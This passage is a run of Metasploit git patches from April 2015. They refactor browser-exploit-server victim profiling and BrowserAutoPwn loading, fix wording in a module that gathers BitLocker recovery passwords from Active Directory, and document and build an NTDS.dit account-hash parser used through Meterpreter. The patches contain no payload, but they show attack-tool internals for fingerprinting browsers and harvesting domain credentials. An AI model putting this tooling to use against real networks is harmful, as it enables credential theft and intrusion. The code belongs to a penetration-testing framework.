'Bitlocker Recovery Passwords', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => fields + ) - # Reports are collections for easy database insertion - reports = [] q[:results].each do |result| row = [] - report = {} - 0.upto(fields.length-1) do |i| - if result[i].nil? - field = "" - else - field = result[i] - end - - row << field + result.each do |field| + field_value = (field.nil? ? '' : field[:value]) + row << field_value end - reports << report results_table << row end @@ -80,6 +71,4 @@ class Metasploit3 < Msf::Post print_status("Results saved to: #{stored_path}") end end - end - From 4072cbd4d3912a85e7e833b3d170379f23162cac Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 29 Apr 2015 10:02:21 +0100 Subject: [PATCH 0031/1013] Bitlocker -> BitLocker --- modules/post/windows/gather/enum_ad_bitlocker.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index 7dd102d0c6..05e2833546 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -13,11 +13,11 @@ class Metasploit3 < Msf::Post def initialize(info = {}) super(update_info(info, - 'Name' => 'Windows Gather Active Directory Bitlocker Recovery', + 'Name' => 'Windows Gather Active Directory BitLocker Recovery', 'Description' => %( - This module will enumerate bitlocker reocvery passwords in the default AD + This module will enumerate BitLocker reocvery passwords in the default AD directory. Requires Domain Admin or other delegated privileges. - ), + ), 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell ' ], 'Platform' => [ 'win' ], @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Post # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( - 'Header' => 'Bitlocker Recovery Passwords', + 'Header' => 'BitLocker Recovery Passwords', 'Indent' => 1, 'SortIndex' => -1, 'Columns' => fields From eb8fdcc2f264bf25e612ba29ede7300fa651b5bf Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 29 Apr 2015 10:45:49 +0100 Subject: [PATCH 0032/1013] Typo --- modules/post/windows/gather/enum_ad_bitlocker.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/enum_ad_bitlocker.rb b/modules/post/windows/gather/enum_ad_bitlocker.rb index 05e2833546..b251c602d4 100644 --- a/modules/post/windows/gather/enum_ad_bitlocker.rb +++ b/modules/post/windows/gather/enum_ad_bitlocker.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => 'Windows Gather Active Directory BitLocker Recovery', 'Description' => %( - This module will enumerate BitLocker reocvery passwords in the default AD + This module will enumerate BitLocker recovery passwords in the default AD directory. Requires Domain Admin or other delegated privileges. ), 'License' => MSF_LICENSE, From 943fc18092e49f036f7fb28d72eacdb6b44b4d98 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 11:04:54 -0500 Subject: [PATCH 0033/1013] Take apart browser profiling --- .../exploit/remote/browser_exploit_server.rb | 60 +------------------ 1 file changed, 2 insertions(+), 58 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 2247f32749..df66ec88c2 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -6,6 +6,7 @@ require 'date' require 'set' require 'rex/exploitation/js' require 'msf/core/exploit/jsobfu' +require 'msf/core/exploit/remote/browser_profile_manager' ### # @@ -25,6 +26,7 @@ module Msf include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::JSObfu + include Msf::Exploit::Remote::BrowserProfileManager # this must be static between runs, otherwise the older cookies will be ignored DEFAULT_COOKIE_NAME = '__ua' @@ -81,9 +83,6 @@ module Msf # The mixin keeps 'target' so module doesn't lose it. @target = target - # See get_profile's documentation to understand what @target_profiles stores - @target_profiles = {} - # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) @@ -237,61 +236,6 @@ module Msf bad_reqs end - # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie_name' => - # { - # :os_name => 'Windows 7' - # ...... etc ...... - # } - # A profile should at least have info about the following: - # :source : The data source. Either from 'script', or 'headers'. The 'script' source - # should be more accurate in some scenarios like browser compatibility mode - # :ua_name : The name of the browser - # :ua_ver : The version of the browser (not yet implemented) - # :os_name : The name of the OS ("Windows XP") - # :language : The system's language - # :arch : The system's arch - # :proxy : Indicates whether proxy is used - # - # For more info about what the actual value might be for each key, see HttpServer. - # - # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) - # 'java' : The Java version - # 'mshtml_build' : The MSHTML build version - # 'flash' : The Flash version - # 'silverlight' : The Silverlight version - # - # @param tag [String] Either a cookie or IP + User-Agent - # @return [Hash] The profile found. If not found, returns nil - def get_profile(tag) - sync do - return @target_profiles[tag] - end - end - - - # Updates information for a specific profile - # - # @param target_profile [Hash] The profile to update - # @param key [Symbol] The symbol to use for the hash - # @param value [String] The value to assign - def update_profile(target_profile, key, value) - sync do - target_profile[key] = value - end - end - - - # Initializes a profile, if it did not previously exist - # - # @param tag [String] A unique string as a way to ID the profile - def init_profile(tag) - sync do - @target_profiles[tag] ||= {} - end - end # Retrieves a tag. From c18c5c7b6e05c759b903fade266ca0e2589a939c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 11:06:00 -0500 Subject: [PATCH 0034/1013] Actually take apart profiling? --- .../exploit/remote/browser_profile_manager.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 lib/msf/core/exploit/remote/browser_profile_manager.rb diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb new file mode 100644 index 0000000000..9867a329cc --- /dev/null +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -0,0 +1,69 @@ +module Msf + module Exploit::Remote::BrowserProfileManager + def initialize(info={}) + super + # See get_profile's documentation to understand what @target_profiles stores + @target_profiles = {} + end + + + # Returns the target profile based on the tag. Each profile has the following structure: + # 'cookie_name' => + # { + # :os_name => 'Windows 7' + # ...... etc ...... + # } + # A profile should at least have info about the following: + # :source : The data source. Either from 'script', or 'headers'. The 'script' source + # should be more accurate in some scenarios like browser compatibility mode + # :ua_name : The name of the browser + # :ua_ver : The version of the browser (not yet implemented) + # :os_name : The name of the OS ("Windows XP") + # :language : The system's language + # :arch : The system's arch + # :proxy : Indicates whether proxy is used + # + # For more info about what the actual value might be for each key, see HttpServer. + # + # If the source is 'script', the profile might have even more information about plugins: + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) + # 'java' : The Java version + # 'mshtml_build' : The MSHTML build version + # 'flash' : The Flash version + # 'silverlight' : The Silverlight version + # + # @param tag [String] Either a cookie or IP + User-Agent + # @return [Hash] The profile found. If not found, returns nil + def get_profile(tag) + sync do + return @target_profiles[tag] + end + end + + + # Updates information for a specific profile + # + # @param target_profile [Hash] The profile to update + # @param key [Symbol] The symbol to use for the hash + # @param value [String] The value to assign + def update_profile(target_profile, key, value) + sync do + target_profile[key] = value + end + end + + + # Initializes a profile, if it did not previously exist + # + # @param tag [String] A unique string as a way to ID the profile + def init_profile(tag) + sync do + @target_profiles[tag] ||= {} + end + end + + + + end +end \ No newline at end of file From 1f66840533da90b06f2dc93d9aa1a45b52e0e282 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 29 Apr 2015 12:53:54 -0500 Subject: [PATCH 0035/1013] add YARD docs to NTDS Account added yard around the attrs for the NTDS::Account class MSP-12357 --- lib/metasploit/framework/ntds/account.rb | 73 +++++++++++++++++++----- 1 file changed, 60 insertions(+), 13 deletions(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index 2ac1cd44a1..70859c0e72 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -5,26 +5,73 @@ module Metasploit # priv extension. class Account - attr_accessor :name + # @!attribute description + # @return [String] The AD Account Description attr_accessor :description - attr_accessor :rid + # @!attribute disabled + # @return [TrueClass] If the AD account is disabled + # @return [FalseClass] If the AD account is not disabled attr_accessor :disabled - attr_accessor :locked - attr_accessor :no_pass - attr_accessor :no_expire + # @!attribute expired + # @return [TrueClass] If the AD account password is expired + # @return [FalseClass] If the AD account password is not expired attr_accessor :expired - attr_accessor :logon_count - attr_accessor :nt_history_count - attr_accessor :lm_history_count + # @!attribute expiry_date + # @return [String] Human Readable Date for the account's password expiration attr_accessor :expiry_date - attr_accessor :logon_date - attr_accessor :logon_time - attr_accessor :pass_date - attr_accessor :pass_time + # @!attribute lm_hash + # @return [String] The LM Hash of the current password attr_accessor :lm_hash - attr_accessor :nt_hash + # @!attribute lm_history + # @return [Array] The LM hashes for previous passwords, up to 24 attr_accessor :lm_history + # @!attribute lm_history_count + # @return [Fixnum] The count of historical LM hashes + attr_accessor :lm_history_count + # @!attribute locked + # @return [TrueClass] If the AD account is locked + # @return [FalseClass] If the AD account is not locked + attr_accessor :locked + # @!attribute logon_count + # @return [Fixnum] The number of times this account has logged in + attr_accessor :logon_count + # @!attribute logon_date + # @return [String] Human Readable Date for the last time the account logged in + attr_accessor :logon_date + # @!attribute logon_time + # @return [String] Human Readable Time for the last time the account logged in + attr_accessor :logon_time + # @!attribute name + # @return [String] The samAccountName of the account + attr_accessor :name + # @!attribute no_expire + # @return [TrueClass] If the AD account password does not expire + # @return [FalseClass] If the AD account password does expire + attr_accessor :no_expire + # @!attribute no_pass + # @return [TrueClass] If the AD account does not require a password + # @return [FalseClass] If the AD account does require a password + attr_accessor :no_pass + # @!attribute nt_hash + # @return [String] The NT Hash of the current password + attr_accessor :nt_hash + # @!attribute nt_history + # @return [Array] The NT hashes for previous passwords, up to 24 attr_accessor :nt_history + # @!attribute nt_history_count + # @return [Fixnum] The count of historical NT hashes + attr_accessor :nt_history_count + # @!attribute pass_date + # @return [String] Human Readable Date for the last password change + attr_accessor :pass_date + # @!attribute pass_time + # @return [String] Human Readable Time for the last password change + attr_accessor :pass_time + # @!attribute rid + # @return [Fixnum] The Relative ID of the account + attr_accessor :rid + # @!attribute sid + # @return [String] Byte String for the Account's SID attr_accessor :sid From 2847bc8a6b00750634fb65b2919d79da3ab2411d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Wed, 29 Apr 2015 14:53:08 -0500 Subject: [PATCH 0036/1013] a little more yard --- lib/metasploit/framework/ntds/account.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index 70859c0e72..cefeca15e7 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -74,7 +74,8 @@ module Metasploit # @return [String] Byte String for the Account's SID attr_accessor :sid - + # @param raw_data [String] the raw 3948 byte string from the wire + # @raise [ArgumentErrror] if a 3948 byte string is not supplied def initialize(raw_data) raise ArgumentError, "No Data Supplied" unless raw_data.present? raise ArgumentError, "Invalid Data" unless raw_data.length == 3948 From f3e026db6c48b56a8b62e5457a80a0e772b4a0e7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 18:45:08 -0500 Subject: [PATCH 0037/1013] Profile sharing works for the first time --- .../exploit/remote/browser_exploit_server.rb | 51 ++++++----- .../exploit/remote/browser_profile_manager.rb | 87 +++++++------------ 2 files changed, 62 insertions(+), 76 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index df66ec88c2..bd7d1005bc 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -154,9 +154,9 @@ module Msf # @param reqs [Hash] A hash that contains data for the requirements # @return [Hash] A hash of requirements def extract_requirements(reqs) - tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} + tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)} # Make sure keys are always symbols - Hash[tmp.map{|(k,v)| [k.to_sym,v]}] + Hash[tmp.map{|(k,v)| [k.to_s,v]}] end @@ -214,22 +214,23 @@ module Msf # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met def get_bad_requirements(profile) + profile = profile.first[1] bad_reqs = [] @requirements.each do |k, v| expected = k != :vuln_test ? v : 'true' - vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") + vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_s]}") if k == :activex - bad_reqs << k if has_bad_activex?(profile[k.to_sym]) + bad_reqs << k if has_bad_activex?(profile[k.to_s]) elsif k == :vuln_test - bad_reqs << k unless profile[k.to_sym].to_s == 'true' + bad_reqs << k unless profile[k.to_s].to_s == 'true' elsif v.is_a? Regexp - bad_reqs << k if profile[k.to_sym] !~ v + bad_reqs << k if profile[k.to_s] !~ v elsif v.is_a? Proc - bad_reqs << k unless v.call(profile[k.to_sym]) + bad_reqs << k unless v.call(profile[k.to_s]) else - bad_reqs << k if profile[k.to_sym] != v + bad_reqs << k if profile[k.to_s] != v end end @@ -246,7 +247,9 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) + #$stderr.puts "Found cookie: #{cookie.inspect}" tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first + #$stderr.puts "Found tag: #{tag}" if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ @@ -269,9 +272,10 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) - init_profile(tag) - target_info = get_profile(tag) - update_profile(target_info, :source, source.to_s) + update_profile(tag, :source, source.to_s) + + found_ua_name = '' + found_ua_ver = '' # Gathering target info from the detection stage case source @@ -279,7 +283,9 @@ module Msf # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.") - parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } + parsed_body.each { |k, v| update_profile(tag, k.to_s, v.first) } + found_ua_name = parsed_body['ua_name'] + found_ua_ver = parsed_body['ua_ver'] when :headers # Gathers target data from headers # This may be less accurate, and most likely less info. @@ -288,19 +294,21 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - update_profile(target_info, k.to_sym, v) + update_profile(tag, k.to_s, v) end + found_ua_name = fp[:ua_name] + found_ua_ver = fp[:ua_ver] end # Other detections - update_profile(target_info, :proxy, has_proxy?(request)) - update_profile(target_info, :language, request.headers['Accept-Language'] || '') + update_profile(tag, :proxy, has_proxy?(request)) + update_profile(tag, :language, request.headers['Accept-Language'] || '') report_client({ :host => cli.peerhost, :ua_string => request.headers['User-Agent'], - :ua_name => target_info[:ua_name], - :ua_ver => target_info[:ua_ver] + :ua_name => found_ua_name, + :ua_ver => found_ua_ver }) end @@ -402,6 +410,7 @@ module Msf datastore['CookieName'] || DEFAULT_COOKIE_NAME end + def cookie_header(tag) cookie = "#{cookie_name}=#{tag};" if datastore['CookieExpiration'].present? @@ -423,7 +432,7 @@ module Msf # # This is the information gathering stage # - if get_profile(retrieve_tag(cli, request)) + unless get_profile_info(retrieve_tag(cli, request)).empty? send_redirect(cli, get_module_resource) return end @@ -459,15 +468,15 @@ module Msf # tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") - profile = get_profile(tag) - if profile.nil? + profile = get_profile_info(tag) + if profile.empty? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) elsif profile[:tried] and datastore['Retries'] == false print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - update_profile(profile, :tried, true) + update_profile(tag, :tried, true) vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 9867a329cc..3e295c65de 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -1,69 +1,46 @@ +require 'Msgpack' + module Msf module Exploit::Remote::BrowserProfileManager - def initialize(info={}) - super - # See get_profile's documentation to understand what @target_profiles stores - @target_profiles = {} - end + public - # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie_name' => - # { - # :os_name => 'Windows 7' - # ...... etc ...... - # } - # A profile should at least have info about the following: - # :source : The data source. Either from 'script', or 'headers'. The 'script' source - # should be more accurate in some scenarios like browser compatibility mode - # :ua_name : The name of the browser - # :ua_ver : The version of the browser (not yet implemented) - # :os_name : The name of the OS ("Windows XP") - # :language : The system's language - # :arch : The system's arch - # :proxy : Indicates whether proxy is used - # - # For more info about what the actual value might be for each key, see HttpServer. - # - # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) - # 'java' : The Java version - # 'mshtml_build' : The MSHTML build version - # 'flash' : The Flash version - # 'silverlight' : The Silverlight version - # - # @param tag [String] Either a cookie or IP + User-Agent - # @return [Hash] The profile found. If not found, returns nil - def get_profile(tag) - sync do - return @target_profiles[tag] + NOTE_TYPE_PREFIX = 'BrowserExploitServer.Client' + + def get_profile_info(tag) + normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + framework.db.notes.each do |note| + return MessagePack.unpack(note.data) if note.ntype == normalized_tag end + + {} end - - # Updates information for a specific profile - # - # @param target_profile [Hash] The profile to update - # @param key [Symbol] The symbol to use for the hash - # @param value [String] The value to assign - def update_profile(target_profile, key, value) - sync do - target_profile[key] = value + def update_profile(tag, key, value) + profile = get_profile_info(tag) + if profile.empty? + init_profile(tag) + profile = get_profile_info(tag) end + + normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + profile[normalized_tag][key.to_s] = value + framework.db.report_note( + :type => normalized_tag, + :data => profile.to_msgpack, + :update => :unique + ) end - - # Initializes a profile, if it did not previously exist - # - # @param tag [String] A unique string as a way to ID the profile def init_profile(tag) - sync do - @target_profiles[tag] ||= {} - end + normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + empty_profile = { normalized_tag => {} } + framework.db.report_note( + :type => normalized_tag, + :data => empty_profile.to_msgpack, + :update => :unique + ) end - - end -end \ No newline at end of file +end From 3fef6362bd987975528450a813cfd95aee9575b1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 21:55:21 -0500 Subject: [PATCH 0038/1013] Fix sorting --- lib/msf/core/exploit/browserautopwnv2.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 3ede415109..2a29010954 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -35,7 +35,8 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # - # @note This method is using framework.exploits and it's one of the reasons why it's so slow. + # @note This method is using framework.exploits and it's one of the reasons why it's so slow, + # and will only get slower. # @todo Maybe look for a different way to get a list of exploits. # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths @@ -48,6 +49,7 @@ module Msf # Initializes the @bap_exploits instance variable with all the found BAP exploits. # + # @note The more BES exploits, the slower this gets. # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits @@ -179,10 +181,11 @@ module Msf # @see #bap_exploits The read-only attribute. # @param [Hash] A grouped module list. # @return [void] - def finalize_sorted_modules(bap_groups) + def finalize_sorted_modules(bap_groups, max=20) @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| + break if @bap_exploits.length >= max @bap_exploits << m end end @@ -315,18 +318,24 @@ module Msf def show_ready_exploits table = Rex::Ui::Text::Table.new( - "Header" => "Exploits", - "Indent" => 1, - "Columns" => ["Rank", "Name", "Path", "Payload"] + 'Header' => 'Exploits', + 'Indent' => 1, + 'Columns' => ['Order', 'Rank', 'Name', 'Path', 'Payload'] ) + # Without the order, sometimes the Rex table messes up even though in the array + # the order looks right. So don't get rid of this. + order = 1 + bap_exploits.each do |m| table << [ + order, parse_rank(m.rank), m.shortname, m.datastore['URIPATH'], "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" ] + order += 1 end print_line From a34531ba5d57a8a0bb15ca2300005dd82d71c5e2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 23:14:52 -0500 Subject: [PATCH 0039/1013] Msgpack cannot handle symbols, so we're forced to strings --- lib/msf/core/exploit/browserautopwnv2.rb | 1 - .../exploit/remote/browser_exploit_server.rb | 34 +++++++++---------- 2 files changed, 17 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 2a29010954..7d639d6ceb 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -302,7 +302,6 @@ module Msf print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits - print_status("#{@bap_exploits.length} BES exploits found.") print_status("Starting exploit modules...") start_exploits diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f2757aa68f..dec4295d38 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -51,22 +51,22 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = Set.new([ - :source, # Return either 'script' or 'headers' - :ua_name, # Example: Returns 'MSIE' - :ua_ver, # Example: Returns '8.0', '9.0' - :os_name, # Example: Returns 'Windows 7', 'Linux' - :os_device, # Example: Returns 'iPad', 'iPhone', etc - :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc - :os_sp, # Example: Returns 'SP2' - :language, # Example: Returns 'en-us' - :arch, # Example: Returns 'x86' - :proxy, # Returns 'true' or 'false' - :silverlight, # Returns 'true' or 'false' - :office, # Example: Returns "2007", "2010" - :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) - :mshtml_build, # mshtml build. Example: Returns "65535" - :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;", + 'source', # Return either 'script' or 'headers' + 'ua_name', # Example: Returns 'MSIE' + 'ua_ver', # Example: Returns '8.0', '9.0' + 'os_name', # Example: Returns 'Windows 7', 'Linux' + 'os_device', # Example: Returns 'iPad', 'iPhone', etc + 'os_vendor', # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc + 'os_sp', # Example: Returns 'SP2' + 'language', # Example: Returns 'en-us' + 'arch', # Example: Returns 'x86' + 'proxy', # Returns 'true' or 'false' + 'silverlight', # Returns 'true' or 'false' + 'office', # Example: Returns "2007", "2010" + 'java', # Example: Return '1.6', or maybe '1.6.0.0' (depends) + 'mshtml_build', # mshtml build. Example: Returns "65535" + 'flash', # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) + 'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;", # :activex is a special case. # When you set this requirement in your module, this is how it should be: # [{:clsid=>'String', :method=>'String'}] @@ -74,7 +74,7 @@ module Msf # But when BES receives this information, the JavaScript will return this format: # "{CLSID}=>Method=>Boolean;" # Also see: #has_bad_activex? - :activex + 'activex' ]) def initialize(info={}) From 62e3f5e56a75ff284c7081e389c85b7cc04d1683 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 23:15:56 -0500 Subject: [PATCH 0040/1013] Small cleanup --- .../core/exploit/remote/browser_exploit_server.rb | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index dec4295d38..6e2edcc9f4 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -248,9 +248,7 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) - #$stderr.puts "Found cookie: #{cookie.inspect}" tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first - #$stderr.puts "Found tag: #{tag}" if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ @@ -588,13 +586,3 @@ module Msf end end - - - -=begin - -TODO: -Use notes to store client profiles, and then use framework.db.notes -to retrieve notes in order to look up a profile. - -=end From 35f564d03edc2f9efa766b7dc2eade915383fe5a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 30 Apr 2015 00:32:33 -0500 Subject: [PATCH 0041/1013] I just shaved off 8 seconds, oh yeah --- lib/msf/core/exploit/browserautopwnv2.rb | 47 +++++-------------- .../exploit/remote/browser_exploit_server.rb | 8 ++++ 2 files changed, 19 insertions(+), 36 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 7d639d6ceb..b3b119514d 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -35,46 +35,20 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # - # @note This method is using framework.exploits and it's one of the reasons why it's so slow, - # and will only get slower. - # @todo Maybe look for a different way to get a list of exploits. - # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. - def init_exploit_paths - framework.exploits.find_all do |m| - next if !m.first.include?('browser') || m.last == "__SYMBOLIC__" || m.last.fullname == self.fullname - m.last.ancestors.include? Msf::Exploit::Remote::BrowserExploitServer - end - end - - - # Initializes the @bap_exploits instance variable with all the found BAP exploits. - # - # @note The more BES exploits, the slower this gets. - # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits - # Initialized BES modules are held here - @bap_exploits = [] - - init_exploit_paths.each do |m| - module_name = m.first - xploit = framework.exploits.create(module_name) - unless xploit - print_status("Failed to load: #{name}") + # First we're going to avoid using #find_all because that gets very slow. + framework.exploits.each_pair do |fullname, plader_holder| + next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + mod = framework.exploits.create(fullname) + unless mod + print_status("Failed to load: #{fullname}") next end - set_exploit_options(xploit) - @bap_exploits << xploit - end - end - - - # Prints BAP module names - # - # @return [void] - def list_bap_names - bap_exploits.each do |m| - print_status(m.fullname) + if mod.methods.include?(:is_browser_exploit_server?) + set_exploit_options(mod) + @bap_exploits << mod + end end end @@ -298,6 +272,7 @@ module Msf t1 = Time.now self.datastore['MODULEOWNER'] = 'BAP' super + @bap_exploits = [] print_status("Searching BES exploits, please wait...") init_exploits diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 6e2edcc9f4..723c8d2b47 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -111,6 +111,14 @@ module Msf end + # This allows BrowserAutoPwn's loader to identify which browser exploits are using BES, and + # which ones aren't. This is a way to get around the expensive #find_all in order to retrieve + # the #ancestors information. + def is_browser_exploit_server? + true + end + + # Returns the custom 404 URL set by the user # # @return [String] From acb833bd09edfda66f7a9fc3fa83f4b9ee64ed2e Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 30 Apr 2015 14:57:30 -0500 Subject: [PATCH 0042/1013] NTDS::Parser class built out the NTDS Parser class will take a meterpreter client and a fielpath and provide an enumerator for reading out the user accounts as ruby objects MSP-12357 --- lib/metasploit/framework/ntds/parser.rb | 74 +++++++++++++++++++ .../post/meterpreter/extensions/priv/priv.rb | 2 +- 2 files changed, 75 insertions(+), 1 deletion(-) create mode 100644 lib/metasploit/framework/ntds/parser.rb diff --git a/lib/metasploit/framework/ntds/parser.rb b/lib/metasploit/framework/ntds/parser.rb new file mode 100644 index 0000000000..2a866cc55e --- /dev/null +++ b/lib/metasploit/framework/ntds/parser.rb @@ -0,0 +1,74 @@ +module Metasploit + module Framework + module NTDS + require 'metasploit/framework/ntds/account' + # This class respresent an NTDS parser. It interacts with the Meterpreter Client + # to provide a simple interface for enumerating AD user accounts. + class Parser + + # The size, in bytes, of an NTDS account object + ACCOUNT_SIZE = 3948 + # The size, in Bytes, of a batch of NTDS accounts + BATCH_SIZE = 78960 + + # @!attribute channel + # @return [Rex::Post::Meterpreter::Channels::Pool] The Meterpreter NTDS Parser Channel + attr_accessor :channel + # @!attribute client + # @return [Msf::Session] The Meterpreter Client + attr_accessor :client + # @!attribute file_path + # @return [String] The path to the NTDS.dit file on the remote system + attr_accessor :file_path + + def initialize(client, file_path='') + raise ArgumentError, "Invalid Filepath" unless file_path.present? + @file_path = file_path + @channel = client.priv.ntds_parse(file_path) + @client = client + end + + # Yields a [Metasploit::Framework::NTDS::Account] for each account found + # in the remote NTDS.dit 